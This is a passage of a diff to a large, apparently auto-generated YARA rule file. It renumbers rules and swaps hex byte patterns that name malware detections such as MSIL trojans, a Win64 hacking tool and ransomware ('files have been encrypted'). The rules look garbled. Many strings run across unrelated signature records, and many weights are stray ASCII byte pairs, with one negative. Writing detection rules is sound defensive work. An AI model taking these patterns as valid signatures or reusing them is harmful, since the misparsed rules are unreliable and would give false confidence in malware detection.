64 73 00 01 00 08 01 6e 69 63 6b 75 70 64 00 01 00 07 01 } //6 + $a_6f_3 = {65 00 01 00 08 01 73 79 6e 73 74 6f 70 00 01 00 08 01 68 74 74 70 64 6f 73 00 01 00 09 01 69 6d 73 70 72 65 61 64 00 01 00 09 01 73 63 61 6e 73 74 6f 70 00 00 00 78 65 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 35 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 } //29552 + condition: + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*24948+(#a_23_2 & 1)*6+(#a_6f_3 & 1)*29552) >=4 + +} +rule _InfrastructureShared_6152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -60888,7 +63825,7 @@ rule _InfrastructureShared_5868{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*30322+(#a_00_2 & 1)*24933+(#a_00_3 & 1)*3840) >=4 } -rule _InfrastructureShared_5869{ +rule _InfrastructureShared_6153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -60902,32 +63839,32 @@ rule _InfrastructureShared_5869{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28532+(#a_54_3 & 1)*8448+(#a_7f_4 & 1)*14347+(#a_87_5 & 1)*27576) >=4 } -rule _InfrastructureShared_5870{ +rule _InfrastructureShared_6154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 35 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 45 d8 02 00 00 00 01 00 04 01 8b 5c 85 d0 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 00 00 00 } //18467 $a_65_2 = {00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 4b 41 41 4a 21 4d 54 42 00 03 00 18 01 1d 7b 0b 38 1a 7f a5 94 a9 5a 11 00 88 60 98 8d 4a 53 2e d3 c8 65 24 7e 04 00 1c 01 7c 34 a7 50 3f b8 6b 8c 87 89 cc 3d a1 7c 53 cb 63 d0 e9 10 e1 f0 df bb 70 84 4f cc 00 00 78 65 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 } //0 - $a_61_3 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 55 32 33 21 4d 54 42 00 0a 00 30 03 20 00 01 00 00 0a 90 02 05 20 00 90 02 05 00 90 02 0f 20 00 90 1b 01 00 5d 90 02 0f 59 06 58 06 5d 0b 03 04 20 00 90 1b 01 00 5d 07 d2 9c 90 00 00 00 78 65 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 } //28530 - $a_69_4 = {36 34 2f 56 61 70 6f 72 52 61 67 65 2e 51 21 64 68 61 00 0a 00 17 01 c1 e9 1b 48 8b 44 24 08 8b 50 04 c1 e2 05 09 d1 48 8b 44 24 08 33 08 0a 00 18 01 c1 e9 18 48 8b 44 24 08 8b 50 0c c1 e2 08 09 d1 48 8b 44 24 08 33 48 08 00 00 78 65 00 00 14 00 14 00 02 00 21 } //14958 - $a_46_5 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 70 69 6b 65 79 4c 61 6e 64 65 72 2e 41 21 64 68 61 00 0a 00 0b 40 83 e1 03 41 8b c1 c1 e1 03 d3 e8 0a 00 21 42 48 81 c7 00 10 00 00 48 8b ce 48 8b d7 90 03 01 02 e8 ff 15 90 01 } //16675 + $a_61_3 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 55 32 33 21 4d 54 42 00 0a 00 30 03 20 00 01 00 00 0a 90 02 05 20 00 90 02 05 00 90 02 0f 20 00 90 1b 01 00 5d 90 02 0f 59 06 58 06 5d 0b 03 04 20 00 90 1b 01 00 5d 07 d2 9c 90 00 00 00 78 65 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 54 6f 6f 6c 3a } //28530 + $a_33_4 = {2f 44 61 72 69 6e 67 54 65 6c 65 74 79 70 65 2e 41 21 64 68 61 00 05 00 0a 01 44 54 54 20 43 6c 69 65 6e 74 05 00 22 01 41 72 65 20 79 6f 75 20 73 75 72 65 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 65 78 69 74 20 56 50 4e 3f 00 00 78 65 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 } //26967 + $a_52_5 = {67 65 2e 51 21 64 68 61 00 0a 00 17 01 c1 e9 1b 48 8b 44 24 08 8b 50 04 c1 e2 05 09 d1 48 8b 44 24 08 33 08 0a 00 18 01 c1 e9 18 48 8b 44 24 08 8b 50 0c c1 e2 08 09 d1 48 8b 44 24 08 33 48 08 00 00 78 65 00 00 0a 00 0a 00 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 54 68 75 6d 70 53 6c 69 6e 67 2e 42 21 64 } //28528 condition: - ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*0+(#a_61_3 & 1)*28530+(#a_69_4 & 1)*14958+(#a_46_5 & 1)*16675) >=6 + ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*0+(#a_61_3 & 1)*28530+(#a_33_4 & 1)*26967+(#a_52_5 & 1)*28528) >=6 } -rule _InfrastructureShared_5871{ +rule _InfrastructureShared_6155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 4b 41 41 4a 21 4d 54 42 00 03 00 18 01 1d 7b 0b 38 1a 7f a5 94 a9 5a 11 00 88 60 98 8d 4a 53 2e d3 c8 65 24 7e 04 00 1c 01 7c 34 a7 50 3f b8 6b 8c 87 89 } //21539 - $a_7c_1 = {cb 63 d0 e9 10 e1 f0 df bb 70 84 4f cc 00 00 78 65 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 55 32 33 21 4d 54 42 00 0a 00 30 03 20 00 01 00 00 0a 90 02 05 20 00 90 02 05 00 90 02 0f 20 00 90 1b 01 00 5d 90 02 0f 59 06 58 06 5d 0b 03 04 20 00 90 1b 01 00 5d 07 d2 9c 90 00 00 00 78 65 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 70 6f 72 52 61 67 65 } //15820 + $a_7c_1 = {cb 63 d0 e9 10 e1 f0 df bb 70 84 4f cc 00 00 78 65 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 55 32 33 21 4d 54 42 00 0a 00 30 03 20 00 01 00 00 0a 90 02 05 20 00 90 02 05 00 90 02 0f 20 00 90 1b 01 00 5d 90 02 0f 59 06 58 06 5d 0b 03 04 20 00 90 1b 01 00 5d 07 d2 9c 90 00 00 00 78 65 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 61 72 69 6e 67 54 65 6c 65 74 } //15820 condition: ((#a_4c_0 & 1)*21539+(#a_7c_1 & 1)*15820) >=7 } -rule _InfrastructureShared_5872{ +rule _InfrastructureShared_6156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -60937,29 +63874,74 @@ rule _InfrastructureShared_5872{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5873{ +rule _InfrastructureShared_6157{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 61 72 69 6e 67 54 65 6c 65 74 79 70 65 2e 41 21 64 68 61 00 05 00 0a 01 44 54 54 20 43 6c 69 65 6e 74 05 00 22 01 41 72 65 20 79 6f 75 20 73 75 72 65 20 79 6f 75 20 77 61 6e 74 20 74 } //16675 + $a_78_1 = {74 20 56 50 4e 3f 00 00 78 65 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 70 6f 72 52 61 67 65 2e 51 21 64 68 61 00 0a 00 17 01 c1 e9 1b 48 8b 44 24 08 8b 50 04 c1 e2 05 09 d1 48 8b 44 24 08 33 08 0a 00 18 01 c1 e9 18 48 8b 44 24 08 8b 50 0c c1 e2 08 } //8303 + condition: + ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*8303) >=10 + +} +rule _InfrastructureShared_6158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 70 6f 72 52 61 67 65 2e 51 21 64 68 61 00 0a 00 17 01 c1 e9 1b 48 8b 44 24 08 8b 50 04 c1 e2 05 09 d1 48 8b 44 24 08 33 08 0a 00 18 01 c1 e9 18 48 8b 44 24 08 8b 50 0c c1 e2 } //16675 - $a_48_1 = {44 24 08 33 48 08 00 00 78 65 00 00 14 00 14 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 70 69 6b 65 79 4c 61 6e 64 65 72 2e 41 21 64 68 61 00 0a 00 0b 40 83 e1 03 41 8b c1 c1 e1 03 d3 e8 0a 00 21 42 48 81 c7 00 10 00 00 48 8b ce 48 8b d7 90 03 01 02 e8 ff 15 90 01 04 48 8b f0 48 85 c0 0f 84 90 00 00 00 78 65 00 00 28 00 28 00 04 00 21 23 48 53 54 52 3a 49 49 53 48 61 6e 64 6c 65 72 48 69 6e 74 00 0a 00 0c 81 01 49 48 74 74 70 48 61 6e 64 6c 65 72 0a 00 0e 81 01 50 72 6f 63 65 73 73 52 65 71 75 65 73 74 0a 00 0e 81 01 67 65 74 5f 49 73 52 65 75 73 61 62 6c 65 0a 00 0b 81 01 48 74 74 70 } //2312 + $a_48_1 = {44 24 08 33 48 08 00 00 78 65 00 00 0a 00 0a 00 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 54 68 75 6d 70 53 6c 69 6e 67 2e 42 21 64 68 61 00 0a 00 0c 40 8d 34 85 04 00 00 00 41 3b f1 0f 86 0a 00 0c 40 8d 2c 85 04 00 00 00 41 3b ea 0f 86 0a 00 10 40 bb 04 00 00 00 8d 34 85 04 00 00 00 3b f3 0f 86 00 00 78 65 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4d 52 21 4d 54 42 00 0a 00 22 03 07 16 07 8e 69 6f 11 00 00 0a 28 90 01 04 72 27 00 00 70 6f 13 00 00 0a 03 6f 14 00 00 0a 26 2a 90 00 05 00 11 01 28 0a 00 00 0a 6f 0b 00 00 0a } //2312 condition: ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*2312) >=10 } -rule _InfrastructureShared_5874{ +rule _InfrastructureShared_6159{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 54 68 75 6d 70 53 6c 69 6e 67 2e 42 21 64 68 61 00 0a 00 0c 40 8d 34 85 04 00 00 00 41 3b f1 0f 86 0a 00 0c 40 8d 2c 85 04 00 00 00 41 3b ea 0f 86 0a 00 10 40 bb 04 00 00 00 } //16675 + $a_04_1 = {00 00 00 3b f3 0f 86 00 00 78 65 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4d 52 21 4d 54 42 00 0a 00 22 03 07 16 07 8e 69 6f 11 00 00 0a 28 90 01 04 72 27 00 00 70 6f 13 00 00 0a 03 6f 14 00 00 0a 26 2a 90 00 05 00 11 01 28 0a 00 00 0a 6f 0b 00 00 0a 0a 03 6f 0c 00 00 0a 00 00 78 65 00 00 14 00 14 00 02 00 21 23 41 4c 46 50 45 52 3a } //13453 + $a_6a_2 = {6e 3a 57 69 6e 36 34 2f 53 70 69 6b 65 79 4c 61 6e 64 65 72 2e 41 21 64 68 61 00 0a 00 0b 40 83 e1 03 41 8b c1 c1 e1 03 d3 e8 0a 00 21 42 48 81 c7 00 10 00 00 48 8b ce 48 8b d7 90 03 01 02 e8 ff 15 90 01 04 48 8b f0 48 85 c0 0f 84 90 00 00 00 78 65 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 45 } //29268 + condition: + ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*13453+(#a_6a_2 & 1)*29268) >=10 + +} +rule _InfrastructureShared_6160{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4d 52 21 4d 54 42 00 0a 00 22 03 07 16 07 8e 69 6f 11 00 00 0a 28 90 01 04 72 27 00 00 70 6f 13 00 00 0a 03 6f 14 00 00 0a 26 2a 90 00 05 00 11 } //21539 + $a_00_1 = {00 0a 6f 0b 00 00 0a 0a 03 6f } //10241 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10241) >=15 + +} +rule _InfrastructureShared_6161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 70 69 6b 65 79 4c 61 6e 64 65 72 2e 41 21 64 68 61 00 0a 00 0b 40 83 e1 03 41 8b c1 c1 e1 03 d3 e8 0a 00 21 42 48 81 c7 00 10 00 00 48 8b ce 48 8b d7 90 03 01 02 e8 ff 15 90 01 } //16675 - $a_f0_1 = {85 c0 0f 84 90 00 00 00 78 65 00 00 28 00 28 00 04 00 21 23 48 53 54 52 3a 49 49 53 48 61 6e 64 6c 65 72 48 69 6e 74 00 0a 00 0c 81 01 49 48 74 74 70 48 61 6e 64 6c 65 72 0a 00 0e 81 01 50 72 6f 63 65 73 73 52 65 71 75 65 73 74 0a 00 0e 81 01 67 65 74 5f 49 73 52 65 75 73 61 62 6c 65 0a 00 0b 81 01 48 74 74 70 43 6f 6e 74 65 78 74 00 00 78 65 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a } //18436 + $a_f0_1 = {85 c0 0f 84 90 00 00 00 78 65 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 45 6e 63 6f 64 65 72 2e 4b 4b 21 4d 54 42 00 14 00 1a 01 44 89 d0 99 f7 fe 48 63 d2 41 0f b6 04 14 42 30 04 13 49 83 c2 01 4c 39 d7 75 0a 00 19 01 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 00 00 78 65 00 00 28 00 28 00 04 00 21 23 48 53 54 52 3a 49 49 53 48 61 6e 64 6c 65 } //18436 condition: ((#a_46_0 & 1)*16675+(#a_f0_1 & 1)*18436) >=20 } -rule _InfrastructureShared_5875{ +rule _InfrastructureShared_6162{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 45 6e 63 6f 64 65 72 2e 4b 4b 21 4d 54 42 00 14 00 1a 01 44 89 d0 99 f7 fe 48 63 d2 41 0f b6 04 14 42 30 04 13 49 83 c2 01 4c 39 d7 75 0a 00 19 01 66 69 6c 65 73 20 68 } //21539 + $a_20_1 = {65 65 6e 20 65 6e 63 72 79 70 74 65 64 00 00 78 65 00 00 28 00 28 00 04 00 21 23 48 53 54 52 3a 49 49 53 48 61 6e 64 6c 65 72 48 69 6e 74 00 0a 00 0c 81 01 49 48 74 74 70 48 61 6e 64 6c 65 72 0a 00 0e 81 01 50 72 6f 63 65 73 73 52 65 71 75 65 73 74 0a 00 0e 81 01 67 65 74 5f 49 73 52 65 75 73 61 62 6c } //30305 + condition: + ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*30305) >=30 + +} +rule _InfrastructureShared_6163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -60972,7 +63954,7 @@ rule _InfrastructureShared_5875{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25972+(#a_61_2 & 1)*14918+(#a_24_3 & 1)*-31999) >=40 } -rule _InfrastructureShared_5876{ +rule _InfrastructureShared_6164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -60982,7 +63964,7 @@ rule _InfrastructureShared_5876{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_5877{ +rule _InfrastructureShared_6165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60992,7 +63974,7 @@ rule _InfrastructureShared_5877{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5878{ +rule _InfrastructureShared_6166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61002,7 +63984,7 @@ rule _InfrastructureShared_5878{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5879{ +rule _InfrastructureShared_6167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61012,7 +63994,7 @@ rule _InfrastructureShared_5879{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5880{ +rule _InfrastructureShared_6168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61022,7 +64004,7 @@ rule _InfrastructureShared_5880{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5881{ +rule _InfrastructureShared_6169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61032,7 +64014,7 @@ rule _InfrastructureShared_5881{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5882{ +rule _InfrastructureShared_6170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61042,7 +64024,7 @@ rule _InfrastructureShared_5882{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5883{ +rule _InfrastructureShared_6171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61052,7 +64034,7 @@ rule _InfrastructureShared_5883{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5884{ +rule _InfrastructureShared_6172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61062,7 +64044,7 @@ rule _InfrastructureShared_5884{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5885{ +rule _InfrastructureShared_6173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61072,17 +64054,7 @@ rule _InfrastructureShared_5885{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5886{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 69 6e 54 6f 73 73 2e 41 21 64 68 61 00 01 00 38 42 33 d2 41 b8 a3 00 00 00 48 8d 8d 90 01 02 00 00 90 01 03 02 00 c6 85 90 01 02 00 00 01 48 8d 46 ff 49 c7 c0 ff ff ff ff 49 3b c0 4c } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_5887{ +rule _InfrastructureShared_6174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61092,7 +64064,7 @@ rule _InfrastructureShared_5887{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5888{ +rule _InfrastructureShared_6175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61102,7 +64074,7 @@ rule _InfrastructureShared_5888{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5889{ +rule _InfrastructureShared_6176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61112,7 +64084,7 @@ rule _InfrastructureShared_5889{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5890{ +rule _InfrastructureShared_6177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61122,7 +64094,7 @@ rule _InfrastructureShared_5890{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5891{ +rule _InfrastructureShared_6178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61132,7 +64104,7 @@ rule _InfrastructureShared_5891{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5892{ +rule _InfrastructureShared_6179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61142,7 +64114,7 @@ rule _InfrastructureShared_5892{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5893{ +rule _InfrastructureShared_6180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61152,7 +64124,17 @@ rule _InfrastructureShared_5893{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5894{ +rule _InfrastructureShared_6181{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 6f 6e 65 79 73 68 69 70 2e 41 21 64 68 61 00 01 00 34 42 03 c2 88 45 90 01 01 8b 45 90 01 01 03 45 90 01 01 0f b6 08 0f b6 55 90 01 01 8b 45 90 01 01 0f b6 14 10 33 ca 8b 45 90 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_6182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61162,7 +64144,7 @@ rule _InfrastructureShared_5894{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5895{ +rule _InfrastructureShared_6183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61172,7 +64154,7 @@ rule _InfrastructureShared_5895{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5896{ +rule _InfrastructureShared_6184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61182,7 +64164,7 @@ rule _InfrastructureShared_5896{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5897{ +rule _InfrastructureShared_6185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61192,7 +64174,7 @@ rule _InfrastructureShared_5897{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5898{ +rule _InfrastructureShared_6186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61202,7 +64184,17 @@ rule _InfrastructureShared_5898{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5899{ +rule _InfrastructureShared_6187{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 41 46 4d 42 21 4d 54 42 00 01 00 35 03 16 03 50 28 90 01 01 00 00 2b 17 da 6f 90 01 01 01 00 0a 0c 03 50 08 a3 33 00 00 02 0d 03 50 08 03 50 11 07 a3 33 00 00 02 a4 33 00 00 02 03 50 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_6188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61212,7 +64204,7 @@ rule _InfrastructureShared_5899{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5900{ +rule _InfrastructureShared_6189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61222,7 +64214,7 @@ rule _InfrastructureShared_5900{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5901{ +rule _InfrastructureShared_6190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61232,7 +64224,7 @@ rule _InfrastructureShared_5901{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5902{ +rule _InfrastructureShared_6191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61242,7 +64234,7 @@ rule _InfrastructureShared_5902{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5903{ +rule _InfrastructureShared_6192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61252,7 +64244,7 @@ rule _InfrastructureShared_5903{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5904{ +rule _InfrastructureShared_6193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61262,7 +64254,7 @@ rule _InfrastructureShared_5904{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5905{ +rule _InfrastructureShared_6194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61272,7 +64264,7 @@ rule _InfrastructureShared_5905{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5906{ +rule _InfrastructureShared_6195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61282,7 +64274,7 @@ rule _InfrastructureShared_5906{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5907{ +rule _InfrastructureShared_6196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61292,7 +64284,7 @@ rule _InfrastructureShared_5907{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5908{ +rule _InfrastructureShared_6197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61302,7 +64294,7 @@ rule _InfrastructureShared_5908{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5909{ +rule _InfrastructureShared_6198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61312,7 +64304,7 @@ rule _InfrastructureShared_5909{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5910{ +rule _InfrastructureShared_6199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61322,7 +64314,7 @@ rule _InfrastructureShared_5910{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5911{ +rule _InfrastructureShared_6200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61332,7 +64324,7 @@ rule 